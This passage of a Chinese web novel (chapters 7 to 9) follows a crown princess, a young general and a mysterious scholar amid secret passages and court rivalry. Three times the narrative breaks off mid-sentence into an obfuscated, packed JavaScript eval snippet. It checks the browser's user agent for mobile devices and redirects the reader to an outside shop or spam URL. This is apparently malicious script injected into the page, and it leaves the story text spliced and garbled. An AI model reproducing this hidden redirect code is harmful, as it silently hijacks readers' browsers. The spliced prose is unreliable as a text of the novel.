宣神娩望着那一池囚鱼,身体愈来愈僵:“我走的路,仅仅是一条活路。我只想活下去,别的,都是你的臆测。我委身于太子,于霍家无关,于宣氏无关。” “阿姊,你误会了,送剑,是我的诚意。不求阿姊与我并肩而行,但求阿姊与我殊途同归。”霍羽宴微微一笑。 这笑让宣神娩一时恍惚,死水般的心境默默泛起涟漪。他是那般鲜活,明媚,而她盘踞在阴暗,但方才,他那里的光漏进了她的角落。 夜时,太子派人送来一幅画,名蝶痴。这幅画远看似一朵紫色鸢尾。凑近时才会发现,组成鸢尾的花瓣,竟是由一片片蝶翼粘贴制成。 宣神娩难免不去想这画背后的残忍,一只只蝴蝶被折断翅膀,黏在画上。郁榷送画来,无非是警告她,她与这幅画无甚不同,都是被钉死在这画中的美丽物件罢了。 她撩撩手,示意青绥将那幅《蝶痴》挂在墙上。 四四方方的红木画框,像是棺椁。香炉所散发的烟丝,糅杂在冷白月光中,供奉着那框内的美丽魂灵。 宣神娩静坐在床榻上面无表情,恰巧如一樽被抽取魂灵的塑像。 直至窗前落下一物,她汇聚眸光一瞧,发觉是白日那只鹰隼,它朝桌案扔下一支小竹简便振翅离去。 宣神娩命青绥拿来竹简,竹简上单写着一句:“明夜子时,共商佳月。” 竹简上的字迹是俊秀清雅的簪花小楷。她一猜便知,是霍羽宴的手笔。 若是旁人看来,霍羽宴这位万里觅封侯的少年将军,写得一手簪花小楷,简直为荒谬。只有宣神娩了解,他的母亲是前朝澜云公主,澜云公主因写得一手极妙的簪花小楷而闻名天下。他自幼受教育母亲,将其传承下来并不奇怪。 宣神娩把竹简丢进香炉焚毁,瞧着它一点点化为灰烬,心中却有什么东西燃了起来。 7. 伤鹤 第二日,夜时,鹰隼又送来一封密信,是一封手绘的密道图,宣神娩观之大为震撼。 果真如霍羽宴那日所说,这镜湖山庄上下布满密道。镜湖山庄地形复杂,纵向脉络的山道,建筑阶梯式般叠加,若没有人指引,初来此处,定然会迷路。 这些密道安插得极其隐秘,与山脉走向背道而驰。她不知道霍羽宴以及他背后的人究竟有多大胆量,竟在郁榷的眼皮底下安插密道。 夜时,宣神娩与青绥互换衣物,来到至放置杂物的偏殿。她不知道霍羽宴是否早有预谋,设置在偏殿的密道竟然连着她的书房。 偏殿有道双面刺绣的山海屏风,屏风之后,是一座红木打造的置物架。置物架上陈列着郁榷赏她的奇珍异宝,其中一套竹简,从一至九页,每一枚上印刻着不同数量的桃花,并可以拆卸。 按照霍羽宴信中所示,他给宣神娩出了一道算术题。只要将印有与正确答案相符合数量的桃花竹简拆卸下来,插入壁画上的微孔,密道自然会浮现。 宣神娩盯着那道算术题,忽然发觉,这是霍羽宴迟来的报复。回想起她年少时,喜欢出算术题刁难霍羽宴。 若是霍羽宴答对,她与霍凝光会想办法,让他脱离澜云公主的“监护”,带他去放风。若是答错,只能待在家中,还需多做三道算术题。 通往神秘地点的密道不长,宣神娩走出三里之后,再顺着石梯而上,便能看见天。 今夜星河烂漫,微风盈盈。 或许是脱离郁榷的眼线,她连呼吸都格外顺畅。眼下的一草一木,透着自由生长的意味。 她穿过层层紫色的鸢尾花丛,来到一弯泉池前。 弦月似的泉池泛着一层薄薄的银光,倒映着点点星光,犹若银河倒挂。 “月牙泉?”难怪她觉得此处极具某种熟悉感。 这里的布局,与永春郡扶光山上的景象一模一样。 几只流萤飞过,她轻轻一抓,扑了个空。她微微一笑,连自己都不知,这笑如同孩童般烂漫。 有人躲在一侧的榕树上。 宣神娩一身稚嫩鹅黄,挽起的双髻,坠着雪白绒球。她的肌肤冷白冰莹,透着一抹淡红。杏眸潋滟,似存着一池吹不皱的春水。 “我当是哪位贵人宫中迷路的貌美小婢女。”霍羽宴忍不住跳下树来。 宣神娩早已察觉到霍羽宴的气息:“羽宴,这里的一切,是你的手笔?” 霍羽宴神情微妙:“这里是每一个霍家人所思念的一切。是梦,是筑造在现实的梦。” 霍羽宴抱着长剑,迈着恣意步伐,与宣神娩并排相走。耳畔坠着的那只金蝶,跟着少年轻扬的马尾,鲜活起来。 “阿姊,随我来。” 霍羽宴蓦然挽起宣神娩的手腕。 宣神娩的手腕纤细冰凉,像是冰凉的玉雕。霍羽宴掌心温热,让她的血液顿时微燥起来。 宣神娩没有挣脱,反倒跟随着他的步伐。踏过一个又一个小水潭。深蓝的湖水偶然没过绣花鞋面,她却没有在意。 未入东宫前,她本就不在意这些。 穿过月牙泉,不远处,有一棵年岁以老的榕树。茂密枝丫上,挂满金黄色的琉璃灯盏,宛若坠落的星星,一闪一闪,在宣神娩的眼眸里跳动。 榕树下有座小亭,四面挡着一层薄透的纱帘,她隐约瞥见一人身影。 晚来风急,纱帘掀飞,宣神娩瞥见内里。 一张藤木做成的长桌,放置着青碧色茶盏一套。桌案正方坐着位手握书简的白衣公子,他身形微瘦,双肩轻薄。梳着黎国文人骚客当下最流行的半披发,白练似的发带飘逸在空中,构成一副出尘的氛围。即便没有看清他的面容,也让人觉得是位谪仙人物。 宣神娩透过那层纱帘观察男子,宛若山中窥鹤。 霍羽宴松开宣神娩的手腕,他几步上前,恭敬行了一礼,桃花瓣似的眼眸里溢出兴奋的光亮。 “伤鹤先生。今日带了客人。” 白衣公子微微抬首,一双清俊的眉眼看似淡泊疏淡,当目光凝聚时,有股风雪裹挟冰刃袭来的凉意。 他一片衣袖垂落,放下手中书简。那股凝结在宣神娩脸庞上的凉意,最终渐渐消散,反倒有种冰雪消融的通透。 “在下梅伤鹤,是镜湖山庄的典籍顾问。”他缓慢起身,新拿两只碧盏,满上新茶。举手投足间,素洁文雅,毫无那些太子府上招募的那些文客身上的矫揉造作之势。 宣神娩微微点头。她盯着梅伤鹤的脸盯得入神。 此人行为举止滴水不漏,但总让她觉得犹似故人。至于是哪位故人......她不敢猜测,也不愿意猜测。 “伤鹤先生,她是当今太子之妻,宣皇后义妹,宣神娩。”霍羽宴率先说出宣神娩的身份,对着“外人”开诚布公。 梅伤鹤连忙起身到前,恭敬行上一礼。“原是太子妃娘娘,难怪草民觉得,娘娘虽着宫女装扮,却气度矜贵,神韵非常人一般。” 霍羽宴捻起茶盏,囫囵咽下,毫无品鉴之意。他往身侧的藤椅上一靠,眼眸微眯,像只悠闲的猫儿。“你方才不是问我,这山下的密道由谁设计?便是这位伤鹤先生。” 宣神娩依然怀着审查的心思。她眼梢微挑,询问道:“这机关密道,颇有夷族之风。先生可是夷族人?” 梅伤鹤安静地注视着她的眉眼,语气稳然:“自幼在夷族长大,故而精通夷族之术。” “这些机关密道,有些涉及军中要事。即便先生在夷族长大,单靠日常认知,很难做到这些。先生看上去,高风傲骨,不像是从军之人。”宣神娩言语间,不曾给梅伤鹤任何缓冲的机会。 霍羽宴窝在藤椅中,一副看戏的神情。 “娘娘慧眼。草民确实从过军,但因身骨微弱,被调至秘署处担任文职,专门绘画城池要塞,亦是诡门密道。” 梅伤鹤轻而易举地自圆其说。 “敢问伤鹤先生,曾在哪处军营任职?”宣神娩得不到自己想要的答案,一时忘记分寸,她的问题显得咄咄逼人。 “霍家军之中,秘署处的职位较为隐秘。直接与将领对接。” “好了好了,本将军饿了。先生,不如我们先去用晚膳?”霍羽宴忽而插进话来。揉揉肚子,往嘴里扔去一枚蜜饯,仿佛真是饿极了。 宣神娩敏锐察觉到霍羽宴在刻意转移话题,她没有再继续问下去。对方心思细腻,若要刻意隐瞒,她是问不出什么东西的。 榕树下,几名身着黑衣的侍从,端来可口饭菜。圆木桌几上,三人各处一角,保持着距离,气氛莫名地诡秘。 宣神娩之所以同意吃这顿饭,不过是想探寻霍羽宴的真正目的。 “你们在此处布置密道,可是要刺杀太子?”恨帝君,恨太子,是每个夷族人印刻在血液里的,她身为太子妃,就这么在饭桌上赤裸裸将这个问题说了出来。 太子殿下遭受的刺杀次数早已是家常便饭。太子殿下武功高深,宗师之下,清玄境之上。况且,他的暗卫同意难攻,曾是黎国第一杀手。 “刺杀太子殿下?”梅伤鹤神情微顿,随即,扯起的唇角似笑非笑,流露出淡淡的冷意:“当然不是。郁家父子谨慎细微,武功之高,刺杀他们,宛若以卵击石。” “你把你们的刺杀计划说给本宫,就不怕本宫转头告诉太子。本宫与太子同枕而眠,利益相通,你们的谋划,全然与本宫的所求背道而驰。”宣神娩神情漠然,她既不担心太子是否要被刺杀,也不表现出任何好奇之意。两只眼眸盯着梅伤鹤,像是冒着丝丝冷气的碧泊。 霍羽宴往她碗里夹去一块排骨,脸上扬着少年人特有的明朗笑容。“阿姊,快尝尝,辣子排骨,你爱吃的。” 宣神娩没有去碰那块排骨,她冷笑:“霍小将军,你和你的谋士若是来说服我,邀我入局,恕我做不到。感谢二位款待,今夜,我便当我们没见过。”她决然起身,离去之意明显。 霍羽宴褪去笑意,忽而凝神的深邃眉目,让宣神娩有些许恍惚。 他认真起来的模样,是有五分像霍凝光的。 “阿姊。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309695|152322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意,便无需入局,你只需,好好看戏......” 霍羽宴仰头,饮下一杯烈酒。暗红色的瞳沾染上些许醉意,他又恢复成原先那般恣意风流的神态。 宣神娩回去后,彻夜未眠,她不知道霍羽宴到底要刺杀谁。霍羽晏接近她又是何种目的? 但直觉告诉她,霍羽晏与太子是对立两面的阵营。 第二日清晨,习惯睡懒觉的宣神娩,被郁榷亲自叫醒。 青绥在旁侍奉,面露喜色:“太子殿下惦记娘娘,批改奏文结束,不等休息。” 郁榷喜欢把自己的爱意扩大化,他明明可以不来。偏要披星戴月,夜行百里的赶来,还刻意守在她床畔,守她苏醒。 “你可知,宿德太后今日也来山庄了,所以吾才着急赶回来。”郁榷望着宣神娩,一脸怜爱。他伸出修长的指,细细撩过她的脸颊,手感适宜把玩,嫩得宛若晶莹白透的荔枝肉。 宣神娩似乎还未清醒,垂下的眼尾,勾着淡淡的清冷之意。 “小懒虫,吾今日心情极佳,帮你梳妆,亲自陪你去见皇祖母。” 大黎皇宫,如说二公主是第一讨厌她的人,那夙德太后一定能与她并列第一。 夙德太后是帝君郁烛的生母。 在郁烛称帝前,夙德太后只是一名村妇,不曾离开那座匿于深山中的村落。在她年轻时,生有两子,因无力养育,将幺子郁烛卖于城中铁器部的老板。 养父待郁烛不薄,教他识文习武,在郁烛十二岁那年,养父被仇家追杀,他被养父紧急送往西南充军,免去杀生之祸。 郁烛在军中一路拼成西南王,成材后将生母接到身边供养。称帝后,更是大张旗鼓,敕封养母为夙德太后, 郁烛不是不忘本,细数过来,他对夙德没有多少母子情分,只为在黎国百姓面前博一个忠孝两全的好名声。 夙德太后毫无实权,郁烛还喜欢把自己不喜欢的孩子丢给她养。 郁榷便是第一个。 郁榷出生卑微,生母又死。身为质子的他从琉国平安归来后,被郁烛直接丢给夙德太后抚养。明知夙德太后性格耿直,没有才识,郁榷依旧是不被抱有希望的那个孩子。 夙德太后晚年孤寂,即便郁榷的出生她不是那般喜欢,但总归有个血脉相伴。 后来郁榷偏偏最争气,耗费七年扭转局势,荣登太子之位,夙德太后总算扬眉吐气,压对了宝。正因如此,她极不满意宣神娩这个孙媳妇。 在她眼里,她的宝贝孙儿,必须配这世上最优秀的女子,家世,样貌,学识,教养,缺一不可。 离王叛变,郁芙生母月贵妃以死谢罪,郁芙失去父亲的宠爱,被他扔给夙德太后教养。因此,夙德太后与郁芙有了宣神娩这个共同的敌人,她们相处地格外融洽。 郁榷身着洁白的里衣,削瘦的脖颈处,露出绛红色的衣领,银线绣着两朵莲花。 他如冠玉般的脸庞映落天光,敛去帝王之威。俯首看宣神娩时,眼中流泻出来的一丝温情,让宣神娩难辨真假。 郁榷在宣神娩眉心细描慢勾,画出一朵小而精致的红心莲。 他言:“鬓似巫山云,眸若碧水天。” 郁榷扶着她的肩膀,将她转到镜前,望着镜中美人,唇角情不自禁地泛起微笑。 他养育的金丝雀许久没有这般神思灵动。日光下,她容貌耀眼,细致到每一根发丝,都镀着一层阔亮的金芒。 “枝枝,皇祖母此次来,是为了二公主的婚事,你不必担心。” “婚事?”宣神娩挑选发饰的手一顿。她对别人的事从不上心,此时,心中却莫名有种微妙的感觉。 “是霍小将军,霍羽宴。父皇要他在明年五月离京前,与二公主成亲。”郁榷轻抚过宣神娩乌云般的髻,端看镜中的她,似乎想在她脸上等得一丝蛛丝马迹。 毕竟霍家人,是他们二人之间的禁区。 宣神娩微微点头,最后选定一对羽钗,分别插入鬓边两侧。片刻,她朱唇轻启:“走吧,莫让皇祖母等迟了。” 8. 婚事 宣神娩一身素白群衫,犹如风雪中出尘飘逸的神女。 待她踏入玉桂宫那一刻,气氛便凝结起来。夙德太后与郁芙说笑之声戛然而止。郁芙眼眸里闪过一抹厌恨,她特意将身体往夙德太后身侧微靠半分,而后又整理仪容,端坐地极正,将浑身的筋紧绷起来,如临大敌般警惕。 夙德太后见郁芙这般滑稽模样,眼梢挑起抹轻蔑之意,心想:一个夷族蛮女,卑贱血脉,不足为惧。郁芙年纪小,着了她的算计。她在深宫由一介村妇跃升为太后,自认还是有些手段,就由她来 不等郁榷行完礼,夙德太后便起身,被郁芙与婢女云姝搀着走下玉阶,朝郁榷快步迎来。 她一头染过的乌发,将各样名贵的头饰堆砌在一起,显得有几分累赘。 “乖孙儿,这些日子,都忙瘦了......”夙德太后眼眶迅速泛红,紧紧抱住郁榷的袖袍,“祖母心疼坏了......”言罢,她若有若无朝宣神娩投去一枚冷眼。 “明明是榷儿的生辰,太子妃倒是享福。太子妃每日品茶钓鱼,好兴致。本宫的乖孙儿每日宫内宫外两边跑,也不嫌累。”夙德轻笑两声,像是在说什么荒谬的笑话,还特意与郁芙对看一眼。 郁芙忍住眼底漫起的得意劲儿,紧接着道:“谁都不如皇嫂这般好命,前些日子,我去拜访皇嫂......”夙德使上眼色,立刻打断郁芙的话头,由她来说:“阿芙前些日子去拜访太子妃,回来便着了风寒。你这太子妃当得是真好,事后,还给阿芙送了一碗鱼羹过去暖身子。” 夙德在提醒郁榷,那日二公主落水之事。郁芙找她哭诉了两日,她答应要为郁芙做主。 “阿娩是很好,担忧吾劳累,每日亲自为吾烧鱼羹。鱼羹鲜美,二妹妹,可是好喝?祖母,有机会让阿娩烧给你喝。”郁榷神色看似温柔,水晶镜片后的灰眸却幽若银河,透出凛凛寒芒。 夙德太后猜到郁榷定会护着宣神娩,可郁芙毕竟是他的亲妹妹,一边是皇室血亲,一边是夷族妖女,她怨恨自家孙儿分不清主次。一忍再忍后,她端正神色,佯装无常道:“榷儿。过几日便是你的生辰礼,祖母打算今日便在镜山住下。太子妃身子不好,祖母最近寻得一巫医,医术高超,让太子妃每日过来请脉。太子妃嫁你已有五年之余,未曾诞下子嗣,说难听些,便是皇家之耻。” 郁榷将茶盏往桌案上一落,发出一声轻轻的脆响。“难得祖母体恤阿娩,既是如此,便按照祖母的意思。” 郁芙见夙德太后计谋初成,立即得寸进尺:“皇嫂,您在镜山整日禹禹独行,难免寂寞。有我与祖母陪你,倒也热闹些。” 宣神娩抬起眉眼,朝郁芙看去。碧玉般的瞳仁,漫起一层薄薄的冷光。她不紧不慢道:“有二公主在的地方,的确热闹。只是吾的病需要静养,二公主若是闲来无事,倒不如为你五哥哥分担解忧。你五哥哥正缺一人来帮他执掌夜行花宴的布置,二公主精通花艺,眼光独到,再合适不过。” 宣神娩言毕,对着郁芙微微一笑。她不笑时,神情淡漠,让人捕捉不到一丝情绪。笑时,却姝丽无双,艳似妖魅,叫郁芙感到一阵胆寒,她无措般看向夙德太后。 夙德太后狠瞪郁芙一眼,怨她多嘴。 郁榷赞同道:“阿娩,吾如何没想到,这里有现成的人选。二妹妹,那便麻烦你了。” 郁芙扯开嘴角,皮笑肉不笑。“能为五哥哥效力,是芙儿的荣幸。” 郁榷把玩着手中一块冰丝凉玉,漫不经心地引出今日重要课题:“二妹妹可对自己的婚事满意?” 郁芙脸色变得极快,原本扯笑的嘴角立即耷拉下来,眼眶蓄起盈盈泪水,抬袖抹擦几下,呈出一副委屈模样:“谁人不知霍羽宴来到鹤川郡的行径?每日进出于酒肆花楼,行径难堪,在朝堂之上口不择言,得罪一众文臣。我听说......我听说他打女人!他喜欢程部侍郎家的千金......调戏未遂,便被他打的鼻青脸肿,没有办法见人!” 郁芙列举了霍羽宴一堆罪证,说到“打女人”时,郁榷被茶水呛了下,轻咳两声。连他都觉得霍羽宴打女人这个传言太过荒谬,那孩子性情虽顽劣不羁,却不是小人之辈。 郁芙本以为郁榷会体谅她几句,谁知,郁榷冷漠道:“你整日与那些名门贵女们厮混在一起,听得一些风言风语,难道没有自己的判断么?” 郁芙被郁榷怼得喉头一哽。她愈发不服气起来:“凭什么,凭什么长公主便可以嫁给贺首辅......我却只能嫁给一个初出茅庐的少年将军!” “他年纪尚小,便率兵杀进敌营,以少取胜,收付琉国。如今放眼鹤川郡,有哪位少年郎有他那般作为与胆量?父君允你与霍氏结姻,便是下了提携霍氏的心。霍羽宴前途可期,黎国自来兵权为重,与你同辈的女娘,谁可有此殊荣?” 郁榷一番话止了郁芙的哭声。她居然觉得言之有理......可她讨厌霍羽宴的性子,让她难以掌控。但又转念一想:我是公主,他又能奈我何? “这些日子,你就老实待在镜山,替吾筹办生辰宴,顺便好好想想吾说过的话。”郁榷敲打完郁芙,便没有再待下去的闲心。 待郁榷带着宣神娩离去,夙德太后对郁芙道:“你哥哥处处替你着想,芙儿,你也该懂事些。做将军夫人哪里不如你大姐姐?” 夙德太后比郁芙多看一层。二公主与霍氏结姻,是郁榷拿捏霍氏的第一步。 他与他父亲手段一般,喜欢用亲情绑定。 郁芙摇摇头:“前朝的澜云公主不也是嫁给了霍氏......当时霍氏权势滔天,手握重兵,她最后落了个什么下场?” 郁芙谈起澜云公主,夙德太后满脸鄙夷。 “澜云公主迟本有退路……可惜,她对那霍氏次子霍修君情根深种,霍家出事,她非要随霍修君流放于雪州,累坏了身子,待你父君接她回宫,郁郁寡欢,依旧思念故人,没过多久便病死了。” 朝澜云是前朝公主,当初,前朝覆灭郁烛唯独留下她的名号,即便她嫁于她人,依然为她修葺宫殿,并将流放于雪州的她接回宫中悉心照料。 “芙儿,你莫要学她。懂得给自己留一条退路,你嫁入霍家,爱权势一定要胜过爱自己的夫君。”夙德太后不喜朝澜云更深层次的原因,是她敏锐发现,郁烛对离霜迟的区别对待。更准确来说,是偏爱之心。 若不是朝澜云早死,加之她当初以死相逼,郁烛便要纳一个二嫁妇为妃!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309696|152322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夙德太后愈发憎恨起宣神娩来。帝王痴情,乃大忌。 第二日,宣神娩如约来至桂宫。 “你来便来,带两名武婢作甚?来本宫这里,又不是进了虎狼窝。”夙德太后侧躺在软榻上,懒懒抬起眼皮,斜眼望着宣神娩,露出一副不满的神色。 郁榷不在,她便懒得装。 宣神娩淡淡解释:“这两名武婢是太子殿下要我随身带着,他说镜山不比皇宫守备森严,要我定要保证自己的安危。” 夙德太后冷哼一声,不给宣神娩赐座。晾了她好一会儿。才撩撩手指:“去,替本宫将那些散落的佛经理好。” 几名小婢女正在在整理几十卷散落在大案上的佛经,夙德太后摆明要她做婢女的活计。 宣神娩全然无视夙德太后的指令,她站着不动,端起微笑,像是一樽琉璃雕刻出来的假人。 夙德太后与她对视良久,心底蓦然发毛。她蹭得一下坐起身来,这些年养尊处优出的满脸横肉,扭曲在一起,大怒之下喘了几口出去,险些将手中盘玩的一串青木佛珠扔了出去。“本宫的话你也听不得?我家乖孙儿命苦啊,娶了你这么一个无用妇人!身为东宫太子妃,不尊长辈,不辅佐夫君,十指不沾阳春水,还真当自己还是未出阁的丫头?” 夙德太后一番动怒,那几位整理佛卷的小婢女早已汗流浃背。 宣神娩带着她的假笑解释道:“不是儿媳不替皇祖母分忧。是儿媳新做了一套新的护甲。护甲颇长,易折,碰不得硬物。佛卷皆为竹简所制,儿媳若是整理起来,恐要鲜血直流,脏污了这些佛卷。” 言罢,她还举起双手,向夙德太后展示了她的新护甲。 纤长的金色护甲散发着灿灿光芒,镶着南海珍珠,颗颗饱满,衬得她一双手白如霜雪,凝似琼脂。 夙德太后彻底被激怒,咆哮道:“来人,给本宫将太子妃的护甲全部拔了下来!” 翠蛾作为夙德太后最喜爱的贴身婢女,随夙德太后在宫中蛮横惯了,满脸恶意地朝宣神娩走去。 只是她离宣神娩三步距离时,便被宣神娩身侧的一名武婢率先动手,直接抹了脖子,顿时血染大殿。 宣神娩一脸无辜:“太子殿下的武婢只听从太子殿下的吩咐。皇祖母,孙媳方才可什么都没说。或许,是太子殿下交代她们的意思。” 郁榷早就料到夙德太后会为难宣神娩,才特意安排这两名武婢。他交代过:“三步之内,伤太子妃者,死。” 夙德太后又惊又恨。盯着翠蛾的尸体,捂着突然绞痛胸口大喊:“你这女子,巧舌如簧……来人,去找梅先生来!” 须臾,一名身披白袍的医师匆匆赶来殿中。 殿下,几名婢女正在擦拭翠蛾留下的血迹。殿上,那位姓梅的医师,与准备离开的宣神娩擦肩而过。 她闻到一股极其熟悉的幽幽梅香。转眸时,与那一双清雪般纯净的眼眸相对而上。 是梅伤鹤。 梅伤鹤对她行礼后,回以他一个颇为礼貌的微笑。 梅伤鹤,作为镜湖山庄的典籍顾问,不光饱读诗书,精通学问,还会绘制奇门密道。同时又医术高超,世乃奇人也。宣神娩对他愈发好奇起来。 9. 竹蝶 回到竹岚别院,宣神娩命青绥替她卸去那些华美沉重的护甲。近一两天,夙德太后应当都不乐意再看到她了。 夜时,她收到一封来自于霍羽宴的密信。她确定郁榷要在东宫过夜,才匆匆与青绥调换衣物,来到偏殿的小书房。 那扇紫藤花屏,犹如一扇通往神秘境地的大门。算完今日霍羽宴为他出的题目,她拆卸下一张映刻着三朵桃花的竹简,插入壁画上的微孔之中。 宣神娩本以为密道的出口只有一个,直到她登上石阶见到夜晚的苍穹,又变成另外一番天地。 此处是开放式的庭院,没有门窗,一眼便可望到室内陈设。隔着堂室,望见远处苍绿的青山。 一张书案摆在室中心,散乱着几卷书籍。白玉花瓶里,插着一株艳红海棠。 少年一身修身劲装,色泽是极为亮眼的雪青。墨发高高竖成马尾,金纹暗绣的发带在微湿的风中猎猎飞扬。 他斜坐于窗栏之上,伸手去接微雨,察觉到有人来时,神思顿时活跃起来,转头会心一笑。 “枝枝阿姊,你来了。”霍羽宴确定来人是宣神娩后,阴雨中,原本晦暗的眼眸变得分外明亮。 宣神娩收起纸伞,放置在门框一侧。她立在庭前,一身碧色,姿态纤美,犹如山风之中挺立的潇湘竹。 她没有寒暄之语,直白地问:“找我何事?” “听梅先生说,他今日在桂宫见你了。枝枝阿姊一点未变,能言善辩......巧舌如簧呢。” 听罢霍羽宴调笑的语气,她便知今日在桂宫的事情他早已一清二楚。 宣神娩神色冷酷:“梅先生又是何时结识的太后?你的人,安插得够深。梅伤鹤到底是谁?” 霍羽宴微微一笑:“枝枝阿姊,若你答应我一个条件,我便告诉你,梅伤鹤是谁。” “什么条件?”宣神娩不知少年在打什么算盘,她身上的筹码少之又少,根本不值得惦记。 “阿姊,请为我再摸一次剑。” “我每当练剑时,总会想起阿姊练剑时的身影,宛若天外飞仙。” “阿姊,何时才能见你提剑?” 霍羽宴定定望她,怀着期盼之意。宣神娩眼里有微光闪烁,却转瞬暗了下去。 “吾早已内功全无,筋脉寸断。”她抬起手腕,一根血红的线痕自掌心延伸至皓腕,最后隐入袖中。 霍羽宴脸色惊变,他端起宣神娩的手腕,红瞳浓郁地似要滴出血来:“这是北境神殿的封经术?阿姊,是谁做的?” 宣神娩不语。 那年春,亭台楼榭花漫天。 宣神娩嫁入东宫一年,恰逢夙德太后生辰之日。二公主郁芙遭遇敌国暗探突袭,她与暗探几番交手,冒死将郁芙救下。 在此之前,郁榷对外宣称,太子妃柔弱不堪,不曾会武。 一位夷族女子,即便被宣氏收为义女,却无法抹去她的异族血脉。若是再发觉她会武功......她救下郁芙,帝君却震怒,在夙德太后的寝宫,逼郁榷休掉这位来历不明的太子妃。 郁榷为保住她的太子妃之位,找来南府神殿的白衣使,利用不可逆转的封经术,断绝掉她全身的经脉。 宣神娩事后没有计较那日,一向与她不对付的郁芙为何约她到清雪楼赏星,也没有计较那日,在刺客出现后,没有一位侍卫前来搭救。 更没有计较,她经脉绝断,痛得晕厥过去,从郁芙唇角溢出的那抹微笑,多么充满快意。 “阿姊,你受苦了。”他不愿她看到自己眼里过于狠戾的锋芒,选择别过头去。那些交织的恨意,犹若一把燃在夜里的焰火,煎烤着他的胸腔。 少年肩膀微颤,斜雨狂撒进来,打湿他的脸庞。他这些年忍过来,不急这一时,可那条骇人红线,犹如一柄利刃,插进心底那些旧痕,再次鲜血淋漓。 “阿姊。若不是你,我恐不会习武。你是王夫人最得意的徒弟,十七岁便入寒蝉道,半步踏入清玄境,何等天赋?” 宣神娩苦笑:“只是没有内力而已。即便是废掉的宗师,也会依然记得如何执剑,如何行招,如何走步。” 霍羽宴抽出身后细刀,横于两人视线之间。 纤细秀美的刀身,泛着冷月色泽,宣神娩盯着那双温柔而凛冽的阔亮眼眸,只一瞬,感觉自身的枯竭血肉都活了过来。 这一刻,她不再是锁在深宫的怨魂,而是振振而飞的云雀,想要重扑红尘里。 自幼时开始,冬寒夏暑,晨起日落,扶光山都少不了她练刀的身影。她的刀法师承于霍夫人王姝。王姝将兰陵剑法毫无保留交付于她。 彼时,指腹老茧未消,她不自主伸手,摩挲于剑柄之上。一梦七载,马背上厮杀的日子已是前尘往事。 欲雪剑重握于她手中,剑柄冰凉,心却蓦然炙热。 “阿姊,还记得你教我的第一招么?”霍羽宴自他身后,手臂越过她的薄肩,轻覆在她握剑的手背上,再紧紧握住。 宣神娩睫毛轻颤,淡绿色的眸子,仿佛刚刚下过一场雨,湿润明亮。这般亲密无间,让她一瞬心绪飘摇。 霍羽宴握住她的手臂,在空中轻划下一道弧线。紧接着,第二道弧线横切而下,这一次的力度要比上一次还要高。 剑风凛冽,如流星般坠落一道道弧线,撕破寂静夜空。 两人逐渐步伐一致,衣角翻飞,雪青色的袖袍与她云雾般柔软的肩纱纠缠交错在一起。 霍羽宴在她耳畔沉吟:“这一招,叫一剑飞仙。”这是宣神娩教他的第一招剑法。 兰陵剑法,讲究身法合一,变幻莫测,步伐犹如飞仙般缥缈, 这一招,曾让幼时的霍羽宴第一次领略到剑的魅力。 霍羽宴八岁那年,曾被澜云公主交给霍大夫人在兰陵王氏设立的明悟学堂修学启蒙。 他与兰陵弟子在明悟学堂产生争执,遭顿毒打,这才发觉,有武艺傍身有多重要。 好在当时宣神娩找到那位弟子的师姐,痛下战书,与那位师姐一决高下长。 明悟学堂,照花崖前,宣神娩一袭红衣,手握欲雪剑,一招临江仙,艳绝师门。 也惊艳了霍羽宴的幼年时光,从那一刻,他彻底爱上了剑法。写信祈求澜云公主数月,澜云公主才同意她摸一摸剑。 东宫的岁月将宣神娩磋磨,让她淡忘那些热血时光。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在霍羽宴武学入门那年,霍氏被扣上叛国罪。霍大夫人为寻夫尸体,千里赶往狼藉残烟的金鸣洲,路遇悍匪,被残忍劫杀。 他能习得完整的金陵剑法,多亏王裳禾。姐姐王姝的死,是王裳禾心中的意难平。 霍氏落败,兰陵王氏也被褫夺城主之职。王裳禾虽免死罪,但活罪难逃,与霍氏二房一同流放与雪州。 “裳禾舅舅这些年,隐姓埋名,改皮换骨,随我在军中打拼。” 宣神娩庆幸故人未死,也心疼故人的下场。有人荣登宝座,睥睨天下,有人尸骨未寒,含冤蒙雪。她三思后,终于问出那句:“衔月阿兄呢?” “衔月阿兄暂且不能露面。但他让我交给你一样东西。”霍羽宴从袖中牵出一根银丝,银丝上栓着一只翠绿的竹蝶。 宣神娩鼻尖猛地发酸,这种小竹蝶,曾是霍衔月做给她玩的。 竹片削得极薄,做成蝶翼,再用极细的银丝拴在顶端。这些竹蝶本是死物,但迎风时,轻薄的翼随风颤动,它便栩栩如生,存于世间。